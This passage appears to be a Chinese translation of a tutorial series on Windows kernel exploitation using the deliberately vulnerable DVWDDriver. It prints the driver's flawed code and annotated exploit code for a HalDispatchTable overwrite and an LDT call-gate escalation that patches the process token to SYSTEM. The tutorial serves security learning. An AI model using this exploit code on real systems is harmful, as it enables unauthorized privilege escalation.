windows kernel exploitation基础教程

来源: http://poppopret.blogspot.com/2011/06/windows-kernel-exploitation-part-1.html

0x00 概述


1.WTFBBQ?


由于现代Windows操作系统的多种缓解技术(ASLR,DEP,SafeSEH,SEHOP,/GS...),用户态的软件变得越来越难以利用.在安全社区,驱动安全问题变得越来越受关注。

这个系列的文章中,我试图共享在windows系统上关于内核利用的探索结果.因为在网上关于这个话题的文档不是很多-不是很容易理解-我已经发现发表这些文章对于像我这样的新手来说是有帮助的.当然,这些文章中的错误欢迎在评论中指出.

实际上,在阅读完 "A guide to Kernel Exploitation" (1]这本书中关于windows的章节后我已决定研究这个驱动(作者用于阐明在驱动中最为经典的弱点和利用这些弱点的方法).这个驱动称为DVWDDriver- Damn Vulnerable Windows Driver的缩写-且可以在该地址上获取该章节.说实话,仅通过阅读这本书而没有查看源代码中的细节和一些附加paper,并不能得到书中所有的”干货”.这就是我写这些文章的原因.

在这篇文章中,我将描述驱动及其弱点,在下一篇文章中我将试图共享我们利用那些弱点的相关理解.当然,我将不会虚构任何东西,并且所有描述的东西都是基于可获取的文档的.这一系列的文章的目的是给出不同利用方法的全局概要并提供带有注释的源代码的技术细节

2.Damn Vulnerable Windows Driver –陈述 DVWDDriver可以控制三种不同的IOCTL(I/O Control Code):

  • DEVICEIO_DVWD_STORE: 允许将用户态的buffer复制到存储KMD(内核态驱动)的一个全局结构体的buffer

  • DEVICEIO_DVWD_OVERWRITE:允许检索位于内核态的buffer.这将通过将内核态中的buffer复制到给出地址的buffer中.是的,没有做关于地址的检查且将看到这里存在一个弱点

  • DEVICEIO_DVWD_STACKOVERFLOW:允许将被传递进参数的buffer复制到本地buffer

用DvwdHandleIoctlStore() (将调用TriggerStore()函数)处理第一种IOCTL.基本上, ProbeForRead() 函数会检查结构体(包含buffer及其大小)是否指向用户态的内存地址({buffer, size}).然后它调用SetSavedData()函数(目的是将buffer的内容复制进全局结构体的buffer中(当然这位于内核态).在进行复制操作之前,函数再次使用ProbeForRead()例程,但这次是在缓冲区指针上使用.使用它是为检查buffer是否也位于用户态中.

DvwdHandleIoctlOverwrite()函数处理第二个IOCTL,这将调用TriggerOverwrite()函数.TriggerStore()用同样的方式,这个函数检查传递到参数中({buffer, size })的结构体指针是否指向一个用户态的地址(address<=0x7FFFFFFF).然后,它调用GetSavedData()函数(为了将含有全局结构体的buffer复制到被传递到参数中的结构体的buffer中.然而,这里没有做附加检查(以确认目标buffer是否位于用户态).

前两个IOCTL允许利用Arbitrary Memory Overwrite弱点,且将在下一幅图中明白其中的原因:

DvwdHandleIoctlStackOverflow()处理第三个IOCTL,这将调用弱点函数TriggerOverflow(),我们将看到这个函数具有基于栈的缓冲区溢出弱点

3.第一种弱点:覆盖任意内存


我们已经看到GetSavedData()函数不会检查目标buffer(以参数的形式接收)的指针是否在用户态.函数将这个存储在全局结构体中的数据复制进该buffer中.问题是用户不检查用户控制的指针.所以,如果用户态的进程指定一个任意值-如一个位于内核态中的地址-函数最终覆盖任意内核内存范围内的值.且因为它可能写入到KMD的全局结构体的buffer中(有了 DEVICEIO_DVWD_STORE IOCTL ),我们可以在我们想要的地址上写入任意数量的数据.这被称为Arbitrary Memory Overwrite 弱点或 write-what-where 弱点.

这是一个注释过的弱点函数的源代码:

//=============================================================================
//          Part of the KMD vulnerable to Arbitrary overwrite
//=============================================================================

#define GLOBAL_SIZE_MAX 0x100

UCHAR GlobalBuffer[GLOBAL_SIZE_MAX];
ARBITRARY_OVERWRITE_STRUCT GlobalOverwriteStruct = {&GlobalBuffer, 0};

// Copy the content located at GlobalOverwriteStruct.StorePtr to 
// overwriteStruct->StorePtr (No check is performed to ensured that
// it points to userland !!!)
VOID GetSavedData(PARBITRARY_OVERWRITE_STRUCT overwriteStruct) {

 ULONG size = overwriteStruct->Size;
 PAGED_CODE();

 if(size > GlobalOverwriteStruct.Size)
  size = GlobalOverwriteStruct.Size; 

 // ---- VULNERABILITY ------------------------------------------------------
 RtlCopyMemory(overwriteStruct->StorePtr, GlobalOverwriteStruct.StorePtr, size);
 // -------------------------------------------------------------------------
}

// Copy a buffer located into kernel memory into a userland buffer
// 
// stream is a pointer that should address a userland structure 
// type ARBITRARY_OVERWRITE_STRUCT
NTSTATUS TriggerOverwrite(UCHAR *stream) {

 ARBITRARY_OVERWRITE_STRUCT overwriteStruct;
 NTSTATUS NtStatus = STATUS_SUCCESS; 
 PAGED_CODE();

 __try {
  // Initialize a ARBITRARY_OVERWRITE_STRUCT structure (in kernel land)
  RtlZeroMemory(&overwriteStruct, sizeof(ARBITRARY_OVERWRITE_STRUCT));

  // Check if the pointer given in parameter is located in userland 
  // (if it's not the case, an exception is triggered)
  ProbeForRead(stream, sizeof(ARBITRARY_OVERWRITE_STRUCT), TYPE_ALIGNMENT(char));

  // Copy the ARBITRARY_OVERWRITE_STRUCT from userland to the newly 
  // initialized structure located in kernel land
  RtlCopyMemory(&overwriteStruct, stream, sizeof(ARBITRARY_OVERWRITE_STRUCT));

  // Call the vulnerable function
  GetSavedData(&overwriteStruct);
 }
 __except(ExceptionFilter()) {
  NtStatus = GetExceptionCode();
  DbgPrint("[!!] Exception Triggered: Handler body: Exception Code: %d\r\n", NtStatus);   
 }

 return NtStatus;                                      
}

在下篇文章中我们将看到利用这种弱点的方法.

4. 第二种弱点:基于栈的缓冲区溢出


TriggerOverflow()函数仅检查buffer是否接收用户态的参数,是否将用户态的参数复制进本地buffer.本地buffer仅64字节长.显然这是种典型的缓冲区溢出弱点,因为这里没检查源buffer的大小。好吧,它发生在内核态,所以不算太经典.

//=============================================================================
//          Part of the KMD vulnerable to Stack Overflow
//=============================================================================

#define LOCAL_BUFF 64

NTSTATUS __declspec(dllexport) TriggerOverflow(UCHAR *stream, UINT32 len) {
 char buf[LOCAL_BUFF];
 NTSTATUS NtStatus = STATUS_SUCCESS; 
 PAGED_CODE();  

 __try {
  // Check if stream points to userland
  ProbeForRead(stream, len, TYPE_ALIGNMENT(char));

  // ---- VULNERABILITY --------------------------------------------------
  RtlCopyMemory(buf, stream, len);
  // ---------------------------------------------------------------------
 } 
 __except(ExceptionFilter()) {
  NtStatus = GetExceptionCode();
  DbgPrint("[!!] Exception Triggered: Handler body: Exception Code: %d\\r\n", NtStatus);   
 }

 return NtStatus;

}

5. 测试平台


下篇文章将在Windows Server 2003 SP2(32-bit)上展示利用技术

为了快速加载驱动这里使用“OSR DriverLoader”工具(下载地址: http://bbs.pediy.com/showthread.php?t=100473&highlight=osr+loader)

引用 0x00

(1] A Guide to Kernel Exploitation (Attacking the Core), by Enrico Perla & Massimiliano Oldani http://www.attackingthecore.com

(2] ProbeForRead() 例程 http://msdn.microsoft.com/en-us/library/ff559876(VS.85).aspx

(3] OSR Driver Loader 下载 http://bbs.pediy.com/showthread.php?t=100473&highlight=osr+loader

0x01 使用HalDispatchTable利用任意内存覆盖弱点


在这篇文章中我们将看到在DVWDDriver中利用write-what-where弱点的方法的相关陈述.该方法是覆盖某个内核调度表中的一个指针.内核使用这种表存储多种指针.某种表的例子:

  • SSDT(系统服务描述符表) nt!KeServiceDescriptorTable存储系统调用的地址.内核使用它以调度系统调用(更多信息在(1]中).

  • HAL Dispatch Table nt!HalDispatchTable.HAL(硬件抽象层)软件层的一种,使用它的目的是使系统从硬件中孤立.基本上,它允许在机器上(带有不同硬件)运行相同系统.这种表存储HAL使用的例程指针.

这里我们将改写HalDispatchTable()中一个特定的指针.让我们看看这样做的原因及其方法吧

1. NtQueryIntervalProfile()和HalDispatchTable


NtQueryIntervalProfile()和HalDispatchTable根据(3],NtQueryIntervalProfile()是ntdll.dll中导出的未公开的系统调用.它调用内核可执行程序ntosknl.exe导出的KeQueryIntervalProfile()函数.如果我们反汇编那个函数,我们可看到如下:

因此位于nt!HalDispatchTable+0x4地址上的例程调用完成(看红色方框).所以如果我们覆盖那个地址上的指针-也就是说HalDispatchTable中的第二个指针-带有我们shellcode地址;然后我们调用函数NtQueryIntervalProfile(),将执行我们的 shellcode.

2.利用方法论


笔记: 驱动使用的GlobalOverwriteStruct是全局结构体,它用于存储buffer及它的大小.

为利用Arbitrary Memory Overwrite弱点,基本的想法是:

1.使用DVWDDriver的IOCTL DEVICOIO_DVWD_STORE:为把我们的shellcode地址存储进GlobalOverwriteStruct结构体(内核态)的buffer.记住我们传递到参数的地址必须位于用户内存地址空间(address<=0x7FFFFFFF),因为这是在IOCTL句柄中使用函数ProbeForRead()完成检查的.好吧,没问题,我们仅是把一个指针传递到我们的shellcode(当然,它指向用户态)!因此,传递到驱动的结构体含有这个指针且buffer的大小为4字节.

2.然后,使用DVWDDriver的IOCTL DEVICOIO_DVWD_OVERWRITE是为了将内容写入buffer(地址位于被存储进GlobalOverwriteStruct的buffer)-也就是说之前添加的shellcode地址-被传递进参数的地址.记住这时,在IOCTL句柄中没有进行检查,所以这个地址可以是任意位置,不管是在用户态还是内核态.因此,我们将传递在HalDispatchTable中第二个入口地址,当然,这在内核态.

3.所以综上所述,我们滥用IOCTL DEVICOIO_DVWD_OVERWRITE是为了写我们想要的what及我们想要的where:

  • what = 我们shellcode的地址

  • where = nt!HalDispatchTable+0x4的地址

要利用这些类型和的弱点,重点是需要理解控制那两个构成成分 NB:这里我们可覆盖完整的地址(4字节 )但是案例中只能覆盖1字节.在这样的情节中,需要用一个在用户态的地址覆盖Most Significant Byte 的第二个入口的HalpatchTable:例如,我们可占用0x01.然后,需要把NOP sled放在0x01000000-0x02000000 (标记为 RWX的内存区域)范围内(在末尾带有跳转到我们shellcode的指令).

hey..等等!我必须讨论下我们使用的shellcode

3. shellcoding…patch我们的访问令牌并回到ring 3层


这并非像我们在内核态中利用某个软件那样,这里我们将在内核态中执行shellcode且并不能犯任何错误否则我们将面临蓝屏.通常在内核中本地利用,在ring0我们拥有特权用 NT AUTHORITY\SYSTEM 的SID patch 当前进程的访问令牌来改变User SID.然后我们尽可能快地回到ring3接着弹出shell。

在windows中,访问令牌(或仅被称为Token)被使用于描述一个进程或线程的上下文安全.特别地,它存储User SID,Groups SIDs和一个特权列表.基于这些信息,内核可决定被要求的行为是否被授权(访问控制).在用户空间中,在一个令牌上可能得到一个句柄.更多关于句柄的信息会在(4]中给出.这是用于描述一个访问令牌的structure _TOKEN细节:

kd> dt nt!_token
   +0x000 TokenSource      : _TOKEN_SOURCE
   +0x010 TokenId          : _LUID
   +0x018 AuthenticationId : _LUID
   +0x020 ParentTokenId    : _LUID
   +0x028 ExpirationTime   : _LARGE_INTEGER
   +0x030 TokenLock        : Ptr32 _ERESOURCE
   +0x038 AuditPolicy      : _SEP_AUDIT_POLICY
   +0x040 ModifiedId       : _LUID
   +0x048 SessionId        : Uint4B
   +0x04c UserAndGroupCount : Uint4B
   +0x050 RestrictedSidCount : Uint4B
   +0x054 PrivilegeCount   : Uint4B
   +0x058 VariableLength   : Uint4B
   +0x05c DynamicCharged   : Uint4B
   +0x060 DynamicAvailable : Uint4B
   +0x064 DefaultOwnerIndex : Uint4B
   +0x068 UserAndGroups    : Ptr32 _SID_AND_ATTRIBUTES
   +0x06c RestrictedSids   : Ptr32 _SID_AND_ATTRIBUTES
   +0x070 PrimaryGroup     : Ptr32 Void
   +0x074 Privileges       : Ptr32 _LUID_AND_ATTRIBUTES
   +0x078 DynamicPart      : Ptr32 Uint4B
   +0x07c DefaultDacl      : Ptr32 _ACL
   +0x080 TokenType        : _TOKEN_TYPE
   +0x084 ImpersonationLevel : _SECURITY_IMPERSONATION_LEVEL
   +0x088 TokenFlags       : UChar
   +0x089 TokenInUse       : UChar
   +0x08c ProxyData        : Ptr32 _SECURITY_TOKEN_PROXY_DATA
   +0x090 AuditData        : Ptr32 _SECURITY_TOKEN_AUDIT_DATA
   +0x094 LogonSession     : Ptr32 _SEP_LOGON_SESSION_REFERENCES
   +0x098 OriginatingLogonSession : _LUID
   +0x0a0 VariablePart     : Uint4B

SIDs的指针列表被存储进UserAndGroups(显示_SID_AND_ATTRIBUTES).我们可检索Token中包含的信息,如下所示:

kd> !process 0004
Searching for Process with Cid == 4
Cid handle table at e1ed7000 with 428 entries in use

PROCESS 827a6648  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00587000  ObjectTable: e1000c60  HandleCount: 388.
    Image: System
    VadRoot 82337238 Vads 4 Clone 0 Private 3. Modified 5664. Locked 0.
    DeviceMap e1001070
    Token                             e1001720
    ElapsedTime                       00:37:34.750
    UserTime                          00:00:00.000
    KernelTime                        00:00:01.578
    QuotaPoolUsage[PagedPool]         0
    QuotaPoolUsage[NonPagedPool]      0
    Working Set Sizes (now,min,max)  (43, 0, 345) (172KB, 0KB, 1380KB)
    PeakWorkingSetSize                526
    VirtualSize                       1 Mb
    PeakVirtualSize                   2 Mb
    PageFaultCount                    4829
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      8

kd> !token e1001720
_TOKEN e1001720
TS Session ID: 0
User: S-1-5-18
Groups:
 00 S-1-5-32-544
    Attributes - Default Enabled Owner
 01 S-1-1-0
    Attributes - Mandatory Default Enabled
 02 S-1-5-11
    Attributes - Mandatory Default Enabled
Primary Group: S-1-5-18
Privs:
 00 0x000000007 SeTcbPrivilege                    Attributes - Enabled Default
 01 0x000000002 SeCreateTokenPrivilege            Attributes -
 02 0x000000009 SeTakeOwnershipPrivilege          Attributes -
[...]

当然这想法通常是用内建 NT AUTHORITY\SYSTEM SID (S-1-5-18)指针替换所有者的SID的进程指针.我们也会用group BUILTIN\Administrators SID (S-1-5-32-544)patch group BUILTIN\Users SID (S-1-5-32-545) 源码在Shellcode32.c文件中(从DVWDDriver提取).我已经添加了许多注释以让它变得更容易理解.

4. 总结…


在利用阶段中这是我们需要做到的:

  1. 为得到HalDispatchTable的偏移,可在用户态中加载内核可执行程序ntokrnl.exe.然后推算出它在内核态中的地址.
  2. 检索我们shellcode的地址.这通常是被用于patch 访问令牌的函数地址.但值得注意的是HalDispatchTable中被覆盖的指针(通常指向一个函数)将会用到4个参数(在4个值在被压入栈前: call dword ptr [nt!HalDispatchTable+0x4]).所以,我们使用一段带有4个参数的函数的shellcode,仅是因为兼容性。
  3. 在ntdll.dll中检索NtQueryIntervalProfile()系统调用的地址
  4. 用我们的shellcode函数地址覆盖 nt!HalDispatchTable+0x4的指针.是的一个带有4个参数的指针(patch 进程的令牌).这将通过连续两次调用callingDeviceIoControl() 发送2次IOCTL:DEVICOIO_DVWD_STORE 和 thenDEVICOIO_DVWD_OVERWRITE来完成,这在图2中解释了.
  5. 为触发shellcode调用函数NtQueryIntervalProfile().
  6. 当然..这时进程正在System用户下运行,因此我们可弹出shell或做一些其它我们想做的!

下图是由(2]中给出的全局概要:

5.利用代码


这是DVWDDriver作者开发的利用代码.当我读完那些代码时,我已经添加了许多注释以确保完全理解它们.随着上一次利用的进行,这应该变得更容易理解,这里没有什么需要注意的了=)

// ----------------------------------------------------------------------------
// Arbitrary Memory Overwrite exploitation ------------------------------------
// ---- HalDispatchTable pointer overwrite method -----------------------------
// ----------------------------------------------------------------------------


// Overwrite kernel dispatch table HalDispatchTable's second entry:
//  - STORE the address of the shellcode (pointer in kernelland, points to userland)
//  - OVERWRITE the second pointer in the HalDispatchTable with the address of the shellcode
BOOL OverwriteHalDispatchTable(ULONG_PTR HalDispatchTableTarget, ULONG_PTR ShellcodeAddrStorage) {

 HANDLE hFile;
 BOOL ret;
 DWORD dwReturn;
 ARBITRARY_OVERWRITE_STRUCT overwrite;

 // Open handle to the driver
 hFile = CreateFile(L"\\\\.\\DVWD", 
        GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 
        NULL, 
        OPEN_EXISTING, 
        0, 
        NULL);

 if(hFile != INVALID_HANDLE_VALUE) {

  // DEVICEIO_DVWD_STORE
  // -> store the address of the shellcode into kernelland (GlobalOverwriteStruct) 
  overwrite.Size = 4;
  overwrite.StorePtr = (PVOID)&ShellcodeAddrStorage;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_STORE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  // DEVICEIO_DVWD_OVERWRITE 
  // -> copy the content of the buffer in kernelland (the address previously added)
  // to the location HalDispatchTableTarget (second entry in the HalDispatchTable)
  overwrite.Size = 4;
  overwrite.StorePtr = (PVOID)HalDispatchTableTarget;
  ret = DeviceIoControl(hFile, DEVICEIO_DVWD_OVERWRITE, &overwrite, 0, NULL, 0, &dwReturn, NULL);

  CloseHandle(hFile);

  return TRUE;
 }

 return FALSE;  
}



typedef NTSTATUS (__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval);
BOOL TriggerOverwrite32_NtQueryIntervalProfileWay() {

 ULONG dummy = 0;
 ULONG_PTR HalDispatchTableTarget;
 ULONG_PTR ShellcodeAddrStorage; 

 _NtQueryIntervalProfile NtQueryIntervalProfile;

 // Load the Kernel Executive ntoskrnl.exe in userland and get some symbol's kernel address
 if(LoadAndGetKernelBase() == FALSE) {
  return FALSE;
 }

 // Retrieve the address of the shellcode
 ShellcodeAddrStorage = (ULONG_PTR)UserShellcodeSIDListPatchUser4Args;

 // Retrieve the address of the second entry within the HalDispatchTable
 HalDispatchTableTarget = HalDispatchTable + sizeof(ULONG_PTR);

 // Retrieve the address of the syscall NtQueryIntervalProfile within ntdll.dll
 NtQueryIntervalProfile  = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueryIntervalProfile");

 // Overwrite the pointer in HalDispatchTable
 if(OverwriteHalDispatchTable(HalDispatchTableTarget, ShellcodeAddrStorage) == FALSE) {
  return FALSE;
 }

 // Call the function in order to launch our shellcode
 // kd> u nt!KeQueryIntervalProfile
 NtQueryIntervalProfile(2, &dummy);

 if (CreateChild(_T("C:\\WINDOWS\\SYSTEM32\\CMD.EXE")) != TRUE) {
  wprintf(L"Error: unable to spawn process, Error: %d\n", GetLastError());
  return FALSE;
 }

 return TRUE;
}

6. w00t ?


接着试图利用

DVWDExploit.exe --exploit-overwrite-profile-32

引用 0x01


(1] SSDT Uninformed article http://uninformed.org/index.cgi?v=8&a=2&p=10

(2] Exploiting Common Flaws in Drivers, by Ruben Santamarta http://reversemode.com/index.php?option=com_content&task=view&id=38&Itemid=1

(3] NtQueryIntervalProfile(), http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%20Objects/Profile/NtQueryIntervalProfile.html

(4] Windows Internals, book by Mark Russinovich & David Salomon

0x02 通过LDT利用Arbitrary Memory Overwrite弱点


在上篇文章中我们明白了在DVWDDriver(基于覆盖位于内核调度表HalDispatchTable的一个指针)中write-what-where 弱点的一种利用方法.这种技术依赖于未公开的系统调用,也因此出现了一个技术上的问题(在下次系统更新后是否还存在这个系统调用),此外,新的技术细节将在这篇文章中(基于硬件特殊结构体GDT和LDT,它们在不同的windows版本中也仍然保持相同的特性)讲到.

首先,需要GDT和LDT的背景知识,因此我们将用到Intel 手册=)

1. Windows GDT and LDT


根据Intel 手册(2],分段是用段选择子(16-位值)实现的,通常,一个逻辑地址组成如下:

  • 一个偏移地址,32-位值,
  • 一个段选择子,16位值.

这是段和页机制的全局概要(逻辑地址—>线性地址->物理地址):

上图展示了逻辑地址被转换成线性地址的过程(因为有分段).然后我们可看到页机制.基本上,它由线性地址转换成物理地址组成.这通常是一种没用的Intel特性.线性地址==物理地址.windows使用页机制,所以线性地址仅是另一种分割成三个成分的结构.为得到物理地址那些成分的值被当做数组中的偏移来使用

无论如何,我们可看到段选择子引用一个表中的入口且在线性地址空间中这个入口通常描述一个段(段描述符):这个表是GDT.好的,但是它是如何工作的呢,LDT呢?让我们回头看看Intel手册..

我们学习的GDT(全局描述符表)和(局部描述符表)是两种段描述符表.我们也可看看这个直观图:

在每个系统启动时,必须创建一个GDT.整个系统的每个处理器有一个单一的GDT(是称为”“全局”表的原因)并在系统上可与所有任务共享.虽然LDT可被一个单一任务或一组相互之间有关系的任务使用.但它可有可无;一个LDT被定义为一个单一的GDT入口(特别是对一个进程而言),意味着在进程上下文切换期间,入口被替代成GDT.

为了给出更多细节,GDT一般含有:

  • 一对内核态代码和数据段描述符, DPL=0(DPL定义被引用段的特权级,等等)
  • 一对用户态代码和数据段描述符, DPL=3
  • 一个TSS(任务状态段),DPL=0.阅(3]
  • 3个附加的数据段入口
  • 一个任意的LDT入口

默认,一个新进程没有任何被定义的LDT,然而如果进程发送一个创建它的命令,它将可被分配.如果一个进程有一个相应的LDT,那么如下所示在LdtDescriptorfield(内核结构体_KPROCESS对应进程的)中将会找到一个指针.

kd> dt nt!_kprocess
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY
   +0x018 DirectoryTableBase : [2] Uint4B
   +0x020 LdtDescriptor    : _KGDTENTRY
   +0x028 Int21Descriptor  : _KIDTENTRY
   [...]

2. Call-Gate


Call-Gate允许访问带有不同特权级的代码段,” Call-Gate”促进控制程序控制在不同特权级之间的传输.它们通常仅被使用于操作系统或可执行程序(使用特权机制).

Call-Gate是一种GDT或LDT的入口.它是特殊描述符的一种(被称为Call-Gate描述符).它的大小和段描述符相同(8字节),但是一些成分没有以相同的方式划分.下图出自(1]且清晰地展示了不同点:

事实上,Call-Gate对跳转到不同段或不同特权级的运行(ring)来说是有用的.当调用Call-Gate时,将会做如下工作:

  1. 处理器访问Call-Gate描述符,
  2. 通过使用包含Call-Gate的段选择子来定位我们最终想要访问的代码段描述符,
  3. 它检索代码段描述符的基地址并用其加上Call-Gate描述符的偏移值
  4. 得到想要获取的代码的线性地址(代码段描述符的线性地址 = 基地址 +偏移值)

文章(4]解释了我们添加Call-Gate(允许我们在ring0到ring3中运行代码)的方法. 所以,我将不会重复一些在好文章中陈述过的东西,但这只陈述对我们来说即将有用的东西:

  • 在我们将要执行的payload下,“段选择子”域必须引用段描述符.因为如果在Ring0中要有执行它的完全特权,那么必须引用内核代码段(CS)描述符.正确值是0x0008.
  • 如果我们需访问来自用户态的Call-Gate,“DPL”必须等于3.
  • “Offset”必须是我们想要执行的代码地址.
  • 因为Call-Gate,“Type”必须等于12.

After that, we need to know how to call our Call-Gate...

之后,我们需要知道调用我们Call-Gate的方法..

首先我们将使用x86指令FAR CALL(0x9A).这与一般的CALL不同,因为我们必须指定一个偏移(32-位)AND一个段选择子(16-位),在我们的案例中,我们仅需为段选择子放置正确的值,且我们必须离开在0x00000000上的索引.当然,这里我们使用了两次调用;第一次调用是为了到Call-Gate描述符然后Call-Gate描述符指向我们想要执行的代码.让我们看看创建段选择子的方法:

所以: * 位0,1:我们从用户态中调用Call-Gate,因此我们将把值11(对于ring3来说,十进制为值3)放置于此. * 位2:将值设为1因为我们将把Call-Gate描述符置于LDT中; * 位3..15:这是GDT/LDT中的索引.我们将Call-Gate放在LDT中的首位,因此我们在这将值设为0.

3.利用方法论


现在我们已介绍完关于GDT和LDT的相关知识.我们可开始介绍利用方面的知识.

基本上,利用是由一个创建的新LDT构成.然后,我们把新入口添加到LDT中-仅是一个入口- 一个Call-Gate描述符(在解释它之前这已放置了正确的值).

接着为了用伪造的LDT描述符覆盖LDT描述符,我们需要用到write-what-where弱点

  • what = 伪造LDT的LDT描述符,
  • where =GDT中LDT的位置.通过一个称为LDTDescriptor的KGDTENTRY结构体来描绘LDT, 正如我们之前看到过的,它是一个_KPROCESS结

构体的入口(内核用于存储关于特定进程信息的结构体).因此我们可以通过检索_KPROCESS(==_KPROCESS的地址)得到我们想要写入的位置并将其加上恰当的偏移值(windowsServer 2003 SP2中为0x20).

最后,我们可以在当前进程LDT的第一(且仅有)入口上通过FAR CALL调用我们的Call-Gate.这将允许其跳转到我们的shellcode.

4. Shellcoding


好了我们已经明白利用是如何工作的了.我们将重用在上一篇文章中使用过的shellcode(关于利用带有write-what-where弱点的HalDispatchTable).但是这里有一个问题..在我们的payload执行之后我们需要从Call-Gate返回.一个FAR CALL将会跳转到Call-Gate,也就是说EIP指向的段将会改变,因此在执行之后我们需要一个FAR RET(0xCB).通过这样做我们可以跳转到我们利用中的下一条指令. 无论如何,重点是记住在内核态而不是用户态中指向KPCR(内核处理程序控制区域)的FS段描述符(它指向TEB结构体(线程执行块)).事实上:

• 在内核态中,FS=0x30 • 在用户态中,FS=0x3B

因此,在内核态中,在执行我们的shellcode之前,必须把FS设为0x30,然后在返回之后将其置为0x3B 前两个原因DVWDExploit的作者已经用ASM写了一个wrapper(ReturnFromGate)来实现那些操作.这是该wrapper的地址(必须被放置到Call-Gate描述符的偏移范围内).

5.利用细节


好的,我们已经彻底理解这个利用的细节.这是它的工作流程:

  1. 检索在内核态中被执行的payload地址(命名为KernelPayload),那表明是patch 当前进程的Access Token的代码
  2. 检索_KPROCESS结构体的地址
  3. 检索GDT中LDT描述符的地址(定位于_KPROCESS+偏移(0x20))
  4. 在ntdll.dll内使用ZwSetInformationProcess()系统调用创建一个新的LDT.该工作由称为SetLDTEnv()的函数完成.
  5. 将KernelPayload的地址放到wrapper,ReturnFromGate将可以从它那里调用shellcode,然后将这个wrapper放入可执行内存.
  6. 用称为PrepareCallGate32()的函数创建Call-Gate描述符.当然,为了在ring0到ring3之间执行代码,我们已经明白恰当填充Call-Gate区域的方法.
  7. 可以用PrepareLDTDescriptor32()函数创建LDT描述符(对应上一个被创建的LDT)
  8. 通过使用弱点,将之前创建的一个对应的伪造LDT覆盖GDT中的LDT描述符: • 利用DVWDDriver的IOCTL DEVICEIO_DVWD_STORE把新的LDT描述符存储进GlobalOverwriteStruct • 编写新的LDT描述符- 在GlobalOverwriteStruct中-位于GDT中的现存LDT描述符,谢谢 DVWDDriver的 IOCTL DEVICEIO_DVWD_OVERWRITE
  9. 然后我们需要强制进行一个进程的上下文切换.事实上,GDT中的LDT段描述符仅在上下文切换后更新.为了达到目的我们仅需要休息一段时间.
  10. 最后使我们的FAR CALL通向Call-Gate.那将触发wrapper的执行且在内核态中执行我们的shellcode
  11. 从我们的shellcode返回时,正在运行的进程SID = NT AUTHORITY\SYSTEM,这时我们可以做任何我们想做的! 一幅图或许可以帮助理解... =)

6.利用代码


Here is a code snippet from DVWDExploit with many comments I've added. 
// ----------------------------------------------------------------------------
// Arbitrary Memory Overwrite exploitation ------------------------------------
// ---- Method using LDT  -----------------------------------------------------
// ----------------------------------------------------------------------------


typedef NTSTATUS (WINAPI *_ZwSetInformationProcess)(HANDLE ProcessHandle, 
                       PROCESS_INFORMATION_CLASS ProcessInformationClass,  
                       PPROCESS_LDT_INFORMATION ProcessInformation,
                       ULONG ProcessInformationLength);    

// Fill the Call-Gate Descriptor -------------------------------------------------
VOID PrepareCallGate32(PCALL_GATE32 pGate, PVOID Payload) {

 ULONG_PTR IPayload = (ULONG_PTR)Payload;

 RtlZeroMemory(pGate, sizeof(CALL_GATE32));

 pGate->Fields.OffsetHigh   = (IPayload & 0xFFFF0000) >> 16;
 pGate->Fields.OffsetLow    = (IPayload & 0x0000FFFF);
 pGate->Fields.Type     = 12;   // Gate Descriptor
 pGate->Fields.Param    = 0;
 pGate->Fields.Present    = 1;
 pGate->Fields.SegmentSelector  = 1 << 3;  // Kernel Code Segment Selector
 pGate->Fields.Dpl     = 3;
}

// Setup the LDT descriptor ------------------------------------------------------
VOID PrepareLDTDescriptor32(PLDT_ENTRY pLDTDesc, PVOID LDTBasePtr) {

 ULONG_PTR LDTBase = (ULONG_PTR)LDTBasePtr;

 RtlZeroMemory(pLDTDesc, sizeof(LDT_ENTRY));

 pLDTDesc->BaseLow     = LDTBase & 0x0000FFFF;
 pLDTDesc->LimitLow     = 0xFFFF;
 pLDTDesc->HighWord.Bits.BaseHi  = (LDTBase & 0xFF000000) >> 24;
 pLDTDesc->HighWord.Bits.BaseMid = (LDTBase & 0x00FF0000) >> 16;
 pLDTDesc->HighWord.Bits.Type = 2;
 pLDTDesc->HighWord.Bits.Pres  = 1;
}


// Assembly wrapper to the payload to be able to return from the Call-Gate ------
// (using a FAR RET)
#define OFFSET_SHELLCODE 18
CHAR ReturnFromGate[]="\x90\x90\x90\x90\x90\x90\x90\x90"
       "\x60"                  // pushad       save general purpose registers
       "\x0F\xA0"              // push  fs     save FS segment register
       "\x66\xB8\x30\x00"      // mov  ax, 30h   
       // FS value is different between userland (0x3B) and kernelland (0x30)
       "\x8E\xE0"              // mov  fs, ax     
       "\xB8\x41\x41\x41\x41"  // mov  eax, @Shellcode  invoke the payload
       "\xFF\xD0"              // call  eax  
       "\x0F\xA1"              // pop   fs     restore general purpose registers
       "\x61"                  // popad        restore FS segment register
       "\xcb";                 // retf       far ret


// Assembly code that executes a CALL to 0007:00000000 ----------------------------
// (Segment selector: 0x0007, offset address: 0x00000000)
// 16-bit segment selector:
// [ 13-bit index into GDT/LDT ][0=descriptor in GDT/1=descriptor in LDT]
// [Requested Privilege Level: 00=ring0/11=ring3]
// => 0007 means: index 0 into GDT (first entry), descriptor in LDT, ring3
VOID FarCall() {
 __asm { 
   _emit 0x9A
   _emit 0x00
   _emit 0x00
   _emit 0x00
   _emit 0x00
   _emit 0x07
   _emit 0x00
 }
}

// Use the vulnerability to overwrite the LDT Descriptor into GDT ------------------
BOOL OverwriteGDTEntry(ULONG64 LDTDesc, PVOID *KGDTEntry) {

 HANDLE hFile;
 ARBITRARY_OVERWRITE_STRUCT overwrite;
 ULONG64 storage = LDTDesc;
 BOOL ret;
 DWORD dwReturn;

 hFile = CreateFile(L"\\\\.\\DVWD", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, NULL);

 if(hFile != INVALID_HANDLE_VALUE) {
  overwrite.Size = 8;
  overwrite.StorePtr = (PVOID)&storage;
